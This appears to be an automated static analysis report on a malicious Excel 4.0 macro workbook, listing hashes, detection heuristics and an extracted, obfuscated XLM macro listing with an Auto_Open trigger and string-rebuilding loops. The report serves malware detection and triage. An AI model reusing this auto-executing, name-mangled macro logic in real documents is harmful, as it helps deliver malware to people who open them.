Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8986becc894878d0…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:23 Authoring application: Microsoft Excel First seen: 2021-01-15
MD5: eba41551f827749faded6d1a4b12676b SHA-1: 122725a73aa0289c46d30ecb9159f76859350a8b SHA-256: 8986becc894878d02433359859f064d6e513355e2f795ef87138dc84d42ca68e
142 Risk Score

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6903 bytes
SHA-256: 2f5c819459a2d13f1355270ae550f80d0327d64562335d4c0243fc14b42b720e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
21 of 40 identifiers look randomly generated (e.g. 'GRgjMpnSsSTz') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  tyaPfkMkCDS
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H186 
' 0018     24 LABEL : Cell Value, String Constant - DqGuqQqPD len=0 
' 0018     22 LABEL : Cell Value, String Constant - EspxjXc len=0 
' 0018     26 LABEL : Cell Value, String Constant - exMthulGqnZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - fPdfXAqHo len=0 
' 0018     26 LABEL : Cell Value, String Constant - FPUrhgtEDks len=0 
' 0018     27 LABEL : Cell Value, String Constant - GRgjMpnSsSTz len=0 
' 0018     24 LABEL : Cell Value, String Constant - hhZiuJDyV len=0 
' 0018     23 LABEL : Cell Value, String Constant - icehfkkC len=0 
' 0018     22 LABEL : Cell Value, String Constant - ktTSQye len=0 
' 0018     21 LABEL : Cell Value, String Constant - LKQNSD len=0 
' 0018     22 LABEL : Cell Value, String Constant - mopJYYs len=0 
' 0018     24 LABEL : Cell Value, String Constant - MqbPFVuzB len=0 
' 0018     23 LABEL : Cell Value, String Constant - NHylRWxR len=0 
' 0018     26 LABEL : Cell Value, String Constant - oOMiegCFVYw len=0 
' 0018     23 LABEL : Cell Value, String Constant - rNDKLINY len=0 
' 0018     23 LABEL : Cell Value, String Constant - sPQUIXmz len=0 
' 0018     25 LABEL : Cell Value, String Constant - uATPxVuvaG len=0 
' 0018     24 LABEL : Cell Value, String Constant - VPYkrVwXG len=0 
' 0018     21 LABEL : Cell Value, String Constant - XfSWwk len=0 
' 0018     24 LABEL : Cell Value, String Constant - zWGgZLiEW len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  tyaPfkMkCDS,Q42,"",-380.00000000000000000000
'  tyaPfkMkCDS,Q43,"",-974.00000000000000000000
'  tyaPfkMkCDS,Q44,"",824.00000000000000000000
'  tyaPfkMkCDS,Q45,"",-410.00000000000000000000
'  tyaPfkMkCDS,Q46,"",-100.00000000000000000000
'  tyaPfkMkCDS,Q47,"",-501.00000000000000000000
'  tyaPfkMkCDS,H91,"SET.NAME("FPUrhgtEDks",0+VALUE("0"))",""
'  tyaPfkMkCDS,H95,"SET.NAME("mopJYYs",FPUrhgtEDks)",""
'  tyaPfkMkCDS,H99,"SET.NAME("hhZiuJDyV",FPUrhgtEDks)",""
'  tyaPfkMkCDS,H103,"SET.NAME("fPdfXAqHo",COUNTA(GRgjMpnSsSTz))",""
'  tyaPfkMkCDS,H105,"SET.NAME("NHylRWxR",COUNTA(oOMiegCFVYw))",""
'  tyaPfkMkCDS,H110,[],""
'  tyaPfkMkCDS,H113,"SET.NAME("DqGuqQqPD","")",""
'  tyaPfkMkCDS,H115,"mopJYYs",""
'  tyaPfkMkCDS,H119,"SET.NAME("icehfkkC",HLOOKUP("*",GRgjMpnSsSTz,mopJYYs,FALSE))",""
'  tyaPfkMkCDS,H123,"LKQNSD",""
'  tyaPfkMkCDS,H126,"SET.NAME("zWGgZLiEW",FPUrhgtEDks)",""
'  tyaPfkMkCDS,H130,[],""
'  tyaPfkMkCDS,H135,"zWGgZLiEW",""
'  tyaPfkMkCDS,H138,"XfSWwk",""
'  tyaPfkMkCDS,H140,"uATPxVuvaG",""
'  tyaPfkMkCDS,H144,"ktTSQye",""
'  tyaPfkMkCDS,H147,"SET.NAME("EspxjXc",VALUE(HLOOKUP("*",oOMiegCFVYw,ktTSQye,FALSE)))",""
'  tyaPfkMkCDS,H152,"exMthulGqnZ",""
'  tyaPfkMkCDS,H156,"DqGuqQqPD",""
'  tyaPfkMkCDS,H158,"hhZiuJDyV",""
'  tyaPfkMkCDS,H163,NEXT(),""
'  tyaPfkMkCDS,H168,"rNDKLINY",""
'  tyaPfkMkCDS,H170,[],""
'  tyaPfkMkCDS,H175,"sPQUIXmz",""
'  tyaPfkMkCDS,H178,NEXT(),""
'  tyaPfkMkCDS,H181,RETURN(),""
'  tyaPfkMkCDS,H211,"SET.NAME("VPYkrVwXG",H91)",""
'  tyaPfkMkCDS,H214,"GRgjMpnSsSTz",""
'  tyaPfkMkCDS,H217,"SET.NAME("oOMiegCFVYw",R40C11)",""
'  tyaPfkMkCDS,H219,"SET.NAME("sPQUIXmz",228)",""
'  tyaPfkMkCDS,H222,"SET.NAME("MqbPFVuzB",8)",""
'  tyaPfkMkCDS,H227,VPYkrVwXG(),""
'  tyaPfkMkCDS,H228,HALT(),""

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